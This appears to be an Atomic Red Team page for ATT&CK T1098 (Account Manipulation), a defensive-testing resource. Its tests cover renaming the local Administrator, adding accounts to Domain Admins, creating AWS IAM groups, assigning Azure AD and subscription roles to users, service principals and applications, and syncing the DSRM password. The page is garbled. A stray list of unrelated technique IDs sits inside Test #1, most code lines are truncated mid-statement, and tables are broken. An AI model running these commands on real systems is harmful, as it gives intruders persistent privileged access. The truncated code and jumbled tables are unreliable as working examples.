# T1098 - Account Manipulation

## Description from ATT&CK

> Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.
> In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.

## Atomic Tests

- Atomic Test #1 - Admin Account Manipulate
- Atomic Test #2 - Domain Account and Group Manipulate
- Atomic Test #3 - AWS - Create a group and add a user to that group
- Atomic Test #4 - Azure - adding user to Azure AD role
- Atomic Test #5 - Azure - adding service principal to Azure AD role



- Atomic Test #9 - Password Change on Directory Service Restore Mode (DSRM) Account

## Atomic Test #1 - Admin Account Manipulate

Manipulate Admin Account Name

**Supported Platforms:** Windows

**auto_generated_guid:** 5598f7cb-cf43-455e-883a-f6008c5d46af

**Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)**

T1003.006
T1003.007
T1003.008
T1003
T1006
T1007
T1010
T1012
T1014
T1016
T1018
T1020
T1021.001
T1021.002
T1021.003
T1021.006
T1027.001
T1027.002
T1027.004
T1027
T1030
T1033
T1036.003
T1036.004
T1036.005
T1036.006
T1036
T1037.001
T1037.002
T1037.004
T1037.005
T1039
T1040

```
$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHa_$x$y$z

$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -ma

foreach($member in $fmm) {
    if($member -like "*Administrator*") {
        $account = $member.Name -replace ".+\\\\","" # strip computername
        $originalDescription = (Get-LocalUser -Name $account).Descriptio
        Set-LocalUser -Name $account -Description "atr:$account;$origina
        Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Require
        Write-Host "Successfully Renamed $account Account on " $Env:COMP
        }
    }
```

### Cleanup Commands:

```
$list = Get-LocalUser |?{$_.Description -like "atr:*"}
foreach($u in $list) {
  $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)"
  Set-LocalUser -Name $u.Name -Description $Matches.Description
  Rename-LocalUser -Name $u.Name -NewName $Matches.Name
  Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Nam
}
```

## Atomic Test #2 - Domain Account and Group Manipulate

Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins).

The quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively, you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to create the user and alter the group. Automatic installation of the dependency requires an elevated session, and is unlikely to work with Powershell Core (untested).

If you consider running this test against a production Active Directory, the good practise is to create a dedicated service account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated as group manager of the target group.

Example: `Invoke-AtomicTest -Session $session 'T1098' -TestNames "Domain Account and Group Manipulate" -InputArgs @{"group" = "DNSAdmins" }`

**Supported Platforms:** Windows

**auto_generated_guid:** a55a22e9-a3d3-42ce-bd48-2653adb8f7a9

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| account_prefix | Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on | | |
| a match `(&(samaccountname=#{account_prefix}-*)` | String | atr- | |

| | | | |
|---|---|---|---|
| `(givenName=Test))`, if you are to change it, be careful. | | | |
| group | Name of the group to alter | String | Domain Admins |
| create_args | Additional string appended to New-ADUser call | String | |

**Attack Commands: Run with `powershell`!**

```
$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99

Import-Module ActiveDirectory
$account = "#{account_prefix}-$x$y$z"
New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAc
Add-ADGroupMember "#{group}" $account
```

**Cleanup Commands:**

```
Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName
```

**Dependencies: Run with `powershell`!**

**Description:** PS Module ActiveDirectory

**Check Prereq Commands:**

```
Try {
    Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
    exit 0
}
Catch {
    exit 1
}
```

**Get Prereq Commands:**

```
if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1)
  Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDi
} else {
  Install-WindowsFeature RSAT-AD-PowerShell
}
```

## Atomic Test #3 - AWS - Create a group and add a user to that group

Adversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss

**Supported Platforms:** Iaas:aws

**auto_generated_guid:** 8822c3b0-d9f9-4daf-a043-49f110a31122

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|

| | | | |
|---|---|---|---|
| username | Name of the AWS group to create | String | atomicredteam |

**Attack Commands: Run with `sh`!**

```
aws iam create-group --group-name #{username}
aws iam add-user-to-group --user-name #{username} --group-name #{usernam
```

**Cleanup Commands:**

```
aws iam remove-user-from-group --user-name #{username} --group-name #{us
aws iam delete-group --group-name #{username}
```

**Dependencies: Run with `sh`!**

**Description: Check if the user exists, we can only add a user to a group if the user exists.**

**Check Prereq Commands:**

```
aws iam list-users | grep #{username}
```

**Get Prereq Commands:**

```
echo Please run atomic test T1136.003, before running this atomic test
```

## Atomic Test #4 - Azure - adding user to Azure AD role

The adversarie want to add user to some Azure AD role. Threat actor may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, Privileged authentication administrator (this role can reset Global Administrator password!). By default, the role Global Reader is assigned to service principal in this test.

The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.

Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see User as a type.

**Supported Platforms:** Azure-ad

**auto_generated_guid:** 0e65ae27-5385-46b4-98ac-607a8ee82261

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| username | Azure AD username | String | jonh@contoso.com |
| password | Azure AD password | String | p4sswd |
| user_principal_name | Name of the targeted user (user principal) | String | SuperUser |
| role_name | Name of the targed Azure AD role | String | Global Reader |

**Attack Commands: Run with `powershell`!**

```
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
```

```
Connect-AzureAD -Credential $Credential

$user = Get-AzureADUser | where-object {$_.DisplayName -eq "#{user_princ
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{r
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $us
Write-Host "User $($user.DisplayName) was added to $($role.DisplayName)
```

**Cleanup Commands:**

```
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
Connect-AzureAD -Credential $Credential -ErrorAction Ignore

$user = Get-AzureADUser | where-object {$_.DisplayName -eq "#{user_princ
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{r
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $us
Write-Host "User $($user.DisplayName) was removed from $($role.DisplayNa
```

**Dependencies: Run with `powershell`!**

**Description:** AzureAD module must be installed.

**Check Prereq Commands:**

```
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue
```

**Get Prereq Commands:**

```
Install-Module -Name AzureAD -Force
```

## Atomic Test #5 - Azure - adding service principal to Azure AD role

The adversarie want to add service principal to some Azure AD role. Threat actor may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, Privileged authentication administrator (this role can reset Global Administrator password!). By default, the role Global Reader is assigned to service principal in this test.

The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.

Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.

**Supported Platforms:** Azure-ad

**auto_generated_guid:** 92c40b3f-c406-4d1f-8d2b-c039bf5009e4

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| username | Azure AD username | String | jonh@contoso.com |
| password | Azure AD password | String | p4sswd |

| | | | |
|---|---|---|---|
| service_principal_name | Name of the service principal | String | SuperSP |
| role_name | Name of the targed Azure AD role | String | Global Reader |

**Attack Commands: Run with `powershell`!**

```
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
Connect-AzureAD -Credential $Credential

$sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq "#{
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{r
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Di
```

**Cleanup Commands:**

```
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
Connect-AzureAD -Credential $Credential -ErrorAction Ignore

$sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq "#{
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{r
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp
Write-Host "Service Principal $($sp.DisplayName) was removed from $($rol
```

**Dependencies: Run with `powershell`!**

**Description: AzureAD module must be installed.**

**Check Prereq Commands:**

```
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue
```

**Get Prereq Commands:**

```
Install-Module -Name AzureAD -Force
```

## Atomic Test #6 - Azure - adding user to Azure role in subscription

The adversarie want to add user to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to user in this test.

New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.

The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions.

Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.

**Supported Platforms:** Iaas:azure

**auto_generated_guid:** 1a94b3fc-b080-450a-b3d8-6d9b57b472ea

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| username | Azure AD username | String | jonh@contoso.com |
| password | Azure AD password | String | p4sswd |
| user_principal_name | Name of the targeted user (user principal) | String | SuperUser |
| role_name | Name of the targed Azure role | String | Reader |
| subscription | Name of the targed subscription | String | Azure subscription 1 |

**Attack Commands: Run with `powershell`!**

```
Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
Connect-AzAccount -Credential $Credential

$user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principa
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscr
if ($subscription -eq $null) { Write-Warning "Subscription not found"; e
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scop
Write-Host "User $($user.DisplayName) was added to $($role.Name) role in
```

**Cleanup Commands:**

```
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
Connect-AzAccount -Credential $Credential -ErrorAction Ignore

$user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principa
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscr
if ($subscription -eq $null) { Write-Warning "Subscription not found"; e
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -S
Write-Host "Service Principal $($sp.DisplayName) was removed from $($rol
```

**Dependencies: Run with `powershell`!**

**Description: Az.Resources module must be installed.**

**Check Prereq Commands:**

```
try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyCon
```

**Get Prereq Commands:**

```
Install-Module -Name Az.Resources -Force
```

## Atomic Test #7 - Azure - adding service principal to Azure role in subscription

The adversarie want to add service principal to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to service principal in this test.

New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.

The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions.

Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.

**Supported Platforms:** Iaas:azure

**auto_generated_guid:** c8f4bc29-a151-48da-b3be-4680af56f404

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| username | Azure AD username | String | jonh@contoso.com |
| password | Azure AD password | String | p4sswd |
| service_principal_name | Name of the service principal | String | SuperSP |
| role_name | Name of the targed Azure role | String | Reader |
| subscription | Name of the targed subscription | String | Azure subscription 1 |

**Attack Commands: Run with `powershell`!**

```
Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
Connect-AzAccount -Credential $Credential

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{ser
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscr
if ($subscription -eq $null) { Write-Warning "Subscription not found"; e
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Na
```

**Cleanup Commands:**

```
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
```

```
Connect-AzAccount -Credential $Credential -ErrorAction Ignore

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{ser
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscr
if ($subscription -eq $null) { Write-Warning "Subscription not found"; e
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Sco
Write-Host "Service Principal $($sp.DisplayName) was removed from $($rol
```

Dependencies: Run with `powershell`!

Description: Az.Resources module must be installed.

Check Prereq Commands:

```
try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyCon
```

Get Prereq Commands:

```
Install-Module -Name Az.Resources -Force
```

## Atomic Test #8 - AzureAD - adding permission to application

The adversarie want to add permission to new created application. Application could be then use for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor. You can use Get-AzureADApplication instead New-AzureADServicePrincipal to use an existing application. The DirectoryRecommendations.Read.All permissions have been selected as the default

The account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD.

Detection hint - check Operation Name "Add app role assignment to service principal" in subscriptions Activity Logs. You can also take a look at the materials:
https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/
https://github.com/reprise99/Sentinel-Queries
https://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-iI09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766
https://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb

**Supported Platforms:** Azure-ad

**auto_generated_guid:** 94ea9cc3-81f9-4111-8dde-3fb54f36af4b

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| username | Azure AD username | String | jonh@contoso.com |
| password | Azure AD password | String | p4sswd |
| application_name | Name of the targed | String | test_app |

| | | | |
|---|---|---|---|
| | application | | |
| application_permission | Permission from Microsoft Graph Resource API that will be add to application | String | DirectoryRecommendations.Read.All |

**Attack Commands: Run with `powershell`!**

```
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
Connect-AzureAD -Credential $Credential

$aadApplication = New-AzureADApplication -DisplayName "#{application_nam
$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.A
#$aadApplication = Get-AzureADApplication | Where-Object {$_.DisplayName

#Get Service Principal of Microsoft Graph Resource API
$graphSP =  Get-AzureADServicePrincipal -All $true | Where-Object {$_.Di

#Initialize RequiredResourceAccess for Microsoft Graph Resource API
$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredR
$requiredGraphAccess.ResourceAppId = $graphSP.AppId
$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Gene

#Set Application Permissions
$ApplicationPermissions = @('#{application_permission}')

$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $Applica
if($reqPermission)
{
$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$resourceAccess.Type = "Role"
$resourceAccess.Id = $reqPermission.Id
#Add required app permission
$requiredGraphAccess.ResourceAccess.Add($resourceAccess)
}
else
{
Write-Host "App permission $permission not found in the Graph Resource A
}

#Add required resource accesses
$requiredResourcesAccess = New-Object System.Collections.Generic.List[Mi
$requiredResourcesAccess.Add($requiredGraphAccess)

#Set permissions in existing Azure AD App
Set-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResou

$servicePrincipal = Get-AzureADServicePrincipal -All $true | Where-Objec

New-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId
```

**Cleanup Commands:**

```
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Forc
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
Connect-AzureAD -Credential $Credential

$aadApplication = Get-AzureADApplication | Where-Object {$_.DisplayName
Remove-AzureADApplication -ObjectId $aadApplication.ObjectId
```

**Dependencies: Run with `powershell`!**

**Description:** AzureAD module must be installed.

**Check Prereq Commands:**

```
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue
```

**Get Prereq Commands:**

```
Install-Module -Name AzureAD -Force
```

## Atomic Test #9 - Password Change on Directory Service Restore Mode (DSRM) Account

Change the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account

**Supported Platforms:** Windows

**auto_generated_guid:** d5b886d9-d1c7-4b6e-a7b0-460041bf2823

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| sync_account | Account to sync password from | String | %username% |

**Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)**

```
ntdsutil "set dsrm password" "sync from domain account #{sync_account}"
```